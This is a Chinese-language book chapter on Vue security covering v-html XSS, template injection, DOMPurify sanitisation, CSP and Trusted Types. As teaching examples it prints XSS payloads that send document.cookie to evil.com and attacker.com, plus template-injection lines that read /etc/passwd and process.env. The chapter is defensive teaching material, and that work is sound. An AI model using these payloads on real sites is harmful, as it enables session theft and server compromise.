安全:v-html XSS 攻击面、模板注入与 CSP 防御策略
第29章:安全——v-html XSS 攻击面、模板注入与 CSP 防御策略
2019 年,某国内知名问答社区遭受大规模 XSS 攻击,攻击向量正是富文本编辑器输出的 HTML 内容未经服务端消毒直接渲染。攻击者注入的脚本在用户浏览器中自动发帖、关注账号,影响超过 100 万用户——而这类攻击在 Vue 应用中的入口,几乎都是
v-html。
本章核心问题:Vue 内置了哪些 XSS 防护,哪些地方是攻击面,以及如何用 DOMPurify + CSP 构建纵深防御体系?
读完本章你将理解:
- Vue 插值表达式的自动转义机制,以及为什么
v-html绕过了这个保护 - 模板注入(Template Injection)与 XSS 的区别,以及为什么动态编译用户输入等同于
eval - 为什么 Vue 3 在严格 CSP 环境下需要预编译模板,以及如何配置
Level 1 · 你需要知道的(1-3年经验)
1.1 Vue 的自动 XSS 防护:插值表达式的转义机制
Vue 的模板系统对插值表达式 {{ }} 进行自动 HTML 转义。这意味着即使用户输入了 HTML 标签,Vue 也会将其作为纯文本显示:
<template>
<!-- 用户输入:<script>alert('xss')</script> -->
<p>{{ userInput }}</p>
</template>
实际渲染到 DOM 的 HTML 是:
<p><script>alert('xss')</script></p>
浏览器将 <script> 显示为文本字符 <script>,脚本不会执行。
Vue 的转义规则(对以下字符进行转义):
| 字符 | 转义后 |
|---|---|
< |
< |
> |
> |
" |
" |
' |
' |
& |
& |
这个转义在 Vue 内部的 createTextVNode 和运行时渲染过程中自动完成,开发者无需手动处理。
1.2 v-html:绕过自动转义的"必要之恶"
v-html 指令的用途是插入原始 HTML,它有意跳过了 Vue 的自动转义。这在渲染富文本内容(如 Markdown 转换后的 HTML、后台 CMS 内容)时是必要的,但同时也是最常见的 XSS 攻击入口。
危险用法:
<!-- 极度危险:直接将用户输入插入 v-html -->
<template>
<div v-html="userComment"></div>
</template>
如果 userComment 是:
<img src="x" onerror="fetch('https://evil.com/?cookie='+document.cookie)">
这段 HTML 会被插入 DOM,img 的 onerror 事件触发,攻击者获取到用户的 Cookie。
更隐蔽的攻击向量:
<!-- 利用 HTML5 的新属性,不需要 script 标签 -->
<details open ontoggle="fetch('https://attacker.com/'+btoa(document.cookie))">
<summary>点我查看详情</summary>
</details>
<!-- 利用 SVG -->
<svg><script>alert(document.domain)</script></svg>
<!-- 利用 CSS 表达式(IE 特有,现代浏览器不适用,但仍值得了解)-->
<div style="background:url('javascript:alert(1)')">
1.3 安全使用 v-html 的唯一前提
v-html 的安全使用有且只有一个前提:内容来源可信。
什么叫"可信"?
- 内容由服务器生成(而不是用户输入)
- 服务器在存储/输出时已经过严格的 HTML 消毒(sanitization)
- 或者在客户端渲染前经过 DOMPurify 消毒
仅服务器端过滤特殊字符是不够的。常见的误解是:
// 服务器端处理:只替换了 < 和 >
const safeHTML = userInput.replace(/</g, '<').replace(/>/g, '>');
这种做法让攻击者无法注入 <script> 标签,但无法阻止基于属性的 XSS:
<!-- 攻击者输入的内容,没有 < > 符号 -->
<div id="safe" onmouseover="alert('xss')">Hover me</div>
1.4 DOMPurify:客户端 HTML 消毒
DOMPurify 是目前最可靠的客户端 HTML 消毒库,它解析 HTML,移除危险元素和属性,保留合法的格式化标签:
npm install dompurify
npm install @types/dompurify # TypeScript 项目
<script setup>
import DOMPurify from 'dompurify';
const props = defineProps({
content: String
});
// 消毒后再渲染
const safeContent = computed(() => DOMPurify.sanitize(props.content));
</script>
<template>
<div v-html="safeContent"></div>
</template>
DOMPurify 的默认行为:
| 操作 | 结果 |
|---|---|
<script> 标签 |
移除整个标签及其内容 |
onerror、onclick 等事件属性 |
移除该属性 |
javascript: 链接 |
移除该属性 |
<b>、<i>、<p> 等安全标签 |
保留 |
<img src="..."> |
保留(但移除事件属性) |
自定义消毒规则:
// 只允许特定的标签(更严格的白名单)
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href', 'target'],
});
// 添加 hook:对所有链接添加 rel="noopener noreferrer"
DOMPurify.addHook('afterSanitizeAttributes', (node) => {
if (node.tagName === 'A') {
node.setAttribute('rel', 'noopener noreferrer');
node.setAttribute('target', '_blank');
}
});
1.5 模板注入:比 XSS 更危险的攻击
模板注入(Template Injection)是指攻击者将内容注入到模板引擎的处理流程中,让模板引擎执行攻击者构造的代码。在 Vue 中,最常见的形式是动态编译用户输入的模板字符串:
// 极度危险!绝对禁止!
import { compile } from 'vue';
function renderUserTemplate(userInput) {
// 用户输入:{{ $data.__proto__... }} 或各种恶意表达式
const render = compile(userInput); // 等同于 eval(userInput)
return render;
}
与 XSS 的区别:
- XSS:在浏览器的安全上下文中执行 JavaScript(受同源策略限制)
- 模板注入(服务端):在服务器的 Node.js 进程中执行代码,可读取文件系统、数据库、环境变量,危害更大
// 服务端 Vue SSR 模板注入的攻击示例
// 攻击者输入:
const maliciousTemplate = `
{{ require('child_process').execSync('cat /etc/passwd').toString() }}
`;
// 如果服务器端动态编译这个模板...
// 攻击者就能读取 /etc/passwd 文件内容
Vue 3 运行时编译 API(vue/dist/vue.esm-bundler.js)包含 compiler,而生产用的 vue/dist/vue.runtime.esm-bundler.js 不包含。如果必须在运行时处理用户定义的"模板",应该用有限的白名单方式,而不是直接编译:
// 安全替代方案:使用预定义组件 + 配置
const allowedComponents = {
'user-card': UserCard,
'product-list': ProductList,
};
// 允许用户选择使用哪个组件,但不允许用户编写模板代码
const selectedComponent = allowedComponents[userInput] || DefaultComponent;
Level 2 · 它是怎么运行的(3-5年经验)
2.1 Vue 3 的 CSP 兼容性问题
内容安全策略(Content Security Policy,CSP)是浏览器的安全机制,通过 HTTP 响应头控制页面可以执行哪些脚本:
Content-Security-Policy: default-src 'self'; script-src 'self'
这个 CSP 策略禁止了内联脚本和 eval(),但 Vue 3 的运行时编译器使用 new Function() 来编译模板,而 new Function() 在严格 CSP 下被视为等同于 eval,会被阻止:
// Vue 3 内部编译器的简化原理
function compileTemplate(template) {
const code = generateCode(template); // 生成 JavaScript 代码字符串
return new Function('Vue', code); // 等同于 eval!
}
受影响场景:
<!-- 场景1:直接在 HTML 中使用 Vue(CDN 引入,不经过 Vite/webpack 编译) -->
<script src="https://unpkg.com/vue@3/dist/vue.global.js"></script>
<div id="app">{{ message }}</div>
<script>
Vue.createApp({ data() { return { message: 'Hello' } } }).mount('#app');
</script>
<!-- 在严格 CSP 下,Vue 无法编译 {{ message }} 模板 → 报错 -->
<!-- 场景2:使用 .vue 文件但没有预编译(极少见) -->
CSP 兼容的解决方案:
方案A(推荐):使用 Vite/webpack 预编译
Vite 的 @vitejs/plugin-vue 在构建时将 .vue 文件中的模板编译为 JavaScript 渲染函数。最终打包产物不包含运行时编译器,不需要 unsafe-eval:
// vite.config.js
import { defineConfig } from 'vite';
import vue from '@vitejs/plugin-vue';
export default defineConfig({
plugins: [vue()],
// 使用 vue.runtime.esm-bundler(不含编译器)
resolve: {
alias: {
'vue': 'vue/dist/vue.runtime.esm-bundler.js'
}
}
});
方案B(不推荐):在 CSP 中允许 unsafe-eval
Content-Security-Policy: script-src 'self' 'unsafe-eval'
允许 unsafe-eval 会大幅削弱 CSP 的防护效果,通常只在开发环境中允许。
2.2 Vue 3 模板编译器的安全设计
Vue 的模板编译器本身有一定的安全设计。编译后的渲染函数只能访问组件实例上的数据和 Vue 提供的全局函数,不能直接访问 window、document 等全局对象:
// Vue 3 内部的模板编译沙箱(packages/compiler-core/src/runtimeHelpers.ts)
// 编译出的渲染函数接受 _ctx 参数(组件实例代理)
// 对全局访问做了白名单限制
const allowedGlobals = new Set([
'Infinity', 'undefined', 'NaN', 'isFinite', 'isNaN',
'parseFloat', 'parseInt', 'decodeURI', 'decodeURIComponent',
'encodeURI', 'encodeURIComponent', 'Math', 'Number', 'Date',
'Array', 'Object', 'Boolean', 'String', 'RegExp', 'Map',
'Set', 'JSON', 'Intl', 'BigInt', 'console', 'Error',
'Symbol'
]);
但这个沙箱不适用于运行时动态编译用户输入,因为攻击者可以通过原型链访问逃逸沙箱。
2.3 XSS 防御的纵深体系
正确的 XSS 防御应该是多层次的:
用户输入
│
▼
┌───────────────────────────────────────┐
│ 第1层:输入验证(前端) │
│ - 检查格式(email/phone/URL) │
│ - 长度限制 │
│ - 但不依赖前端验证作为安全防线 │
└──────────────────┬────────────────────┘
│
▼
┌───────────────────────────────────────┐
│ 第2层:服务端消毒(必须) │
│ - 解析 HTML,应用白名单标签/属性 │
│ - 使用 DOMPurify(服务端)/Bleach(Python)│
│ - 存入数据库之前消毒 │
└──────────────────┬────────────────────┘
│
▼
┌───────────────────────────────────────┐
│ 第3层:输出转义(Vue 自动完成) │
│ - {{ }} 插值自动 HTML 转义 │
│ - v-html 用 DOMPurify 二次消毒 │
└──────────────────┬────────────────────┘
│
▼
┌───────────────────────────────────────┐
│ 第4层:CSP(浏览器安全策略) │
│ - 即使前三层都失败,CSP 仍能阻止 │
│ - 注入的脚本因 CSP 被阻止执行 │
│ - 报告 CSP 违规到监控系统 │
└───────────────────────────────────────┘
2.4 配置 Nginx CSP 响应头
生产环境的 CSP 配置示例:
# nginx.conf
server {
# 严格的 CSP:不允许 eval,只允许自身域名的脚本
add_header Content-Security-Policy "
default-src 'self';
script-src 'self' 'nonce-{RANDOM_NONCE}';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self';
connect-src 'self' https://api.yourdomain.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
report-uri /csp-report;
" always;
# 防止点击劫持
add_header X-Frame-Options "DENY" always;
# 防止 MIME 类型嗅探
add_header X-Content-Type-Options "nosniff" always;
# 强制 HTTPS
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
}
基于 nonce 的 CSP(更精确的内联脚本控制):
// 服务器端生成随机 nonce
const nonce = crypto.randomBytes(16).toString('base64');
// 在 SSR 渲染时注入 nonce
const html = await renderToString(app);
const page = `
<html>
<head>
<script nonce="${nonce}" src="/bundle.js"></script>
</head>
<body>${html}</body>
</html>
`;
// CSP 响应头
res.setHeader('Content-Security-Policy',
`script-src 'nonce-${nonce}' 'strict-dynamic'`
);
2.5 依赖供应链安全
XSS 攻击不一定来自用户输入,也可能来自被恶意修改的 npm 依赖包:
2021 年 ua-parser-js 事件:这个每周下载量超过 700 万次的包被攻击者控制,注入了密码窃取和门罗币挖矿脚本,影响了无数下游项目。
防御措施:
# 定期检查依赖漏洞
npm audit
# 自动修复
npm audit fix
# 检查是否有已知恶意包
npx is-website-vulnerable https://yoursite.com
锁定依赖版本(package-lock.json):
// package.json
{
"dependencies": {
"some-lib": "1.2.3" // 使用精确版本,不用 ^ 或 ~
}
}
Subresource Integrity(SRI)(CDN 资源的完整性校验):
<!-- 使用 CDN 时,添加 integrity 属性 -->
<script
src="https://cdn.jsdelivr.net/npm/[email protected]/dist/vue.global.min.js"
integrity="sha384-[hash]"
crossorigin="anonymous">
</script>
如果 CDN 上的文件被篡改,SRI 哈希不匹配,浏览器拒绝加载。
Level 3 · 设计文档与源码(资深开发者)
3.1 Vue 3 插值转义的源码实现
Vue 3 的模板编译器在处理插值表达式时,生成的代码调用 toDisplayString,而不是直接输出值:
// packages/runtime-core/src/helpers/toDisplayString.ts
export const toDisplayString = (val: unknown): string => {
return isString(val)
? val
: val == null
? ''
: isArray(val) || (isObject(val) && (val.toString === objectToString || !isFunction(val.toString)))
? JSON.stringify(val, replacer, 2)
: String(val);
};
等等,toDisplayString 没有做 HTML 转义?
实际上,插值的转义发生在 DOM 操作层面。当 Vue 调用 createTextVNode(toDisplayString(value)) 时,创建的是文本节点(document.createTextNode()),不是 HTML 节点。文本节点天然不解析 HTML,所以不需要显式转义。
// packages/runtime-dom/src/nodeOps.ts
const nodeOps: Omit<RendererOptions<Node, Element>, 'patchProp'> = {
// 创建文本节点(不解析 HTML)
createText: text => doc.createTextNode(text),
// 设置文本内容(不解析 HTML)
setText: (node, text) => {
node.nodeValue = text; // 直接设置 nodeValue,不走 innerHTML
},
// 设置元素文本(不解析 HTML)
setElementText: (el, text) => {
el.textContent = text; // textContent 不解析 HTML
},
};
关键区别:
el.textContent = '<script>alert(1)</script>'→ 安全,显示为文本el.innerHTML = '<script>alert(1)</script>'→ 危险,解析并执行脚本v-html使用innerHTML,所以危险
3.2 v-html 的 DOM 操作实现
// packages/runtime-dom/src/modules/innerHTML.ts
export const patchDOMProp = (
el: any,
key: string,
value: any,
// ...
) => {
if (key === 'innerHTML' || key === 'textContent') {
el[key] = value == null ? '' : value;
return;
}
// ...
};
v-html="someValue" 在编译后会生成:
// 编译后的渲染函数(简化)
function render(_ctx) {
return createElementVNode('div', {
innerHTML: _ctx.someValue // 直接传递给 innerHTML,没有任何转义
});
}
这就是为什么 v-html 是危险的:它直接使用了 innerHTML。
3.3 Vue 3 的模板编译沙箱
Vue 3 的模板编译器对模板中可访问的全局变量有白名单限制:
// packages/compiler-core/src/utils.ts
export const GLOBALS_ALLOWED =
'Infinity,undefined,NaN,isFinite,isNaN,parseFloat,parseInt,decodeURI,' +
'decodeURIComponent,encodeURI,encodeURIComponent,Math,Number,Date,Array,' +
'Object,Boolean,String,RegExp,Map,Set,JSON,Intl,BigInt,console,Error,Symbol'
export const isGloballyAllowed = /*#__PURE__*/ makeMap(GLOBALS_ALLOWED);
在模板中访问这些全局变量以外的内容,会被编译器警告:
<!-- 这会在编译时报警告 -->
<template>
<!-- 警告:'window' is not defined in templates -->
{{ window.location.href }}
</template>
但在运行时编译(直接调用 compile() 函数)时,沙箱依然可能被绕过,因为攻击者可以通过原型链逃逸:
// 模板注入攻击示例(演示目的,不要在生产环境使用)
const maliciousTemplate = `
{{ constructor.constructor('return process.env')() }}
`;
3.4 Trusted Types API:下一代 DOM XSS 防御
Chrome 浏览器支持 Trusted Types API,它要求所有 innerHTML、eval 等危险操作必须通过"信任类型"策略:
// 创建 Trusted Types 策略
const policy = trustedTypes.createPolicy('vue-dompurify', {
createHTML: (dirty) => DOMPurify.sanitize(dirty, {
RETURN_TRUSTED_TYPE: true
}),
});
// 在 Vue 应用中注册全局消毒
app.directive('safe-html', {
mounted(el, binding) {
el.innerHTML = policy.createHTML(binding.value);
},
updated(el, binding) {
el.innerHTML = policy.createHTML(binding.value);
}
});
CSP 中启用 Trusted Types:
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types vue-dompurify
Level 4 · 边界与陷阱(全体适用)
陷阱 1:认为服务端过滤了 < > 就能安全使用 v-html
错误认知:
# 服务端(Python)
def sanitize(text):
return text.replace('<', '<').replace('>', '>')
# 看似安全,实际上仍有 XSS 风险
safe_text = sanitize(user_input)
攻击向量(不使用 < > 的 XSS):
<!-- 攻击者输入(没有 <> 符号):-->
" onmouseover="fetch('https://attacker.com/?x='+document.cookie)" data-x="
<!-- 当这个值被插入到如下标签时:-->
<div class="{{ user_input }}">content</div>
<!-- 渲染结果:-->
<div class="" onmouseover="fetch(...)" data-x="">content</div>
教训:HTML 属性中的 XSS 和标签注入 XSS 是不同的攻击向量,只过滤 <> 不够。必须使用 DOMPurify 这样的专业工具。
陷阱 2:SSR 场景下 v-html 的 XSS 危害更大
在 CSR(客户端渲染)场景下,XSS 的影响是当前用户。但在 SSR 场景下,如果 XSS payload 被持久化存储并在 SSR 时渲染,可能影响所有访问该页面的用户:
// Nuxt 3 的 SSR 场景
// 如果数据库中存储了恶意 HTML,服务端渲染时就会注入到所有用户的 HTML
const { data: article } = await useFetch(`/api/articles/${id}`);
<!-- 危险!SSR 时这段内容直接进入 HTML 流 -->
<div v-html="article.content"></div>
正确做法:在 Nuxt 的数据处理层添加消毒:
// server/api/articles/[id].get.ts
import DOMPurify from 'isomorphic-dompurify'; // 支持 Node.js 的 DOMPurify
export default defineEventHandler(async (event) => {
const article = await db.findArticle(getRouterParam(event, 'id'));
// 在 API 层消毒,确保无论 CSR 还是 SSR 都安全
article.content = DOMPurify.sanitize(article.content);
return article;
});
陷阱 3:动态生成 v-html 的内容时遗漏某些输入来源
错误场景:开发者对"用户输入"做了消毒,但遗漏了其他来源:
<script setup>
import DOMPurify from 'dompurify';
const props = defineProps({
userComment: String, // ✓ 用户输入,做了消毒
adminNote: String, // ✗ "管理员输入",误以为可信,没消毒
markdownHtml: String, // ✗ Markdown 解析器的输出,误以为安全
});
// 只消毒了 userComment
const safeComment = computed(() => DOMPurify.sanitize(props.userComment));
</script>
<template>
<div v-html="safeComment"></div>
<!-- 危险!管理员账户被 XSS 攻击也会导致 adminNote 被污染 -->
<div v-html="adminNote"></div>
<!-- 危险!部分 Markdown 解析器不消毒输出 -->
<div v-html="markdownHtml"></div>
</template>
正确原则:所有 v-html 的内容都必须消毒,没有例外,包括:
- 管理员输入(管理员账户可能被攻击)
- 第三方 API 返回的 HTML
- Markdown/BBCode 解析器的输出(
marked、marked-sanitize-html组合使用)
// marked + DOMPurify 的正确组合
import { marked } from 'marked';
import DOMPurify from 'dompurify';
const renderMarkdown = (md) => DOMPurify.sanitize(marked.parse(md));
陷阱 4:CSP nonce 在 SPA 中的误用
错误场景:在 SPA 的 index.html 中设置固定 nonce:
<!-- index.html(静态文件) -->
<script nonce="abc123" src="/bundle.js"></script>
问题:SPA 的 index.html 通常是静态文件,被 CDN 缓存。如果 nonce 是固定值,攻击者一旦获知这个值,CSP 就形同虚设。nonce 必须是每次请求随机生成的。
正确场景:nonce 只在 SSR(服务端渲染)中才有意义,因为每次请求服务器都能生成新的随机 nonce:
// Nuxt 3 的 CSP nonce 配置
// nuxt.config.ts
export default defineNuxtConfig({
security: {
nonce: true, // 每个请求生成随机 nonce
headers: {
contentSecurityPolicy: {
'script-src': ["'self'", "'nonce-{{nonce}}'"],
}
}
}
});
对于纯 SPA(没有 SSR),应使用基于 hash 的 CSP 而不是 nonce:
Content-Security-Policy: script-src 'self' 'sha256-[hash of your bundle]'
本章小结
-
插值表达式天然安全,v-html 天然危险:
{{ }}使用文本节点(textContent)渲染,不解析 HTML;v-html使用innerHTML,直接解析 HTML——这是 Vue XSS 防护的核心边界。 -
DOMPurify 是 v-html 的必要伴侣:所有
v-html的内容在渲染前都应经过DOMPurify.sanitize(),无论来源是用户输入、管理员输入还是第三方 API——没有例外。 -
模板注入比 XSS 危害更大:动态编译用户输入的模板字符串等同于服务端
eval,可读取文件系统和环境变量;必须用配置驱动的白名单组件替代动态模板。 -
Vue 3 默认需要 unsafe-eval:运行时编译器使用
new Function()编译模板,在严格 CSP 下被阻止;解决方案是使用 Vite 预编译(生产环境标准做法),不要在 CSP 中允许unsafe-eval。 -
纵深防御是唯一可靠策略:服务端消毒 + 客户端 DOMPurify + CSP + SRI 四层防御,任何一层都可能存在遗漏,多层叠加才能真正阻止 XSS 攻击的渗透。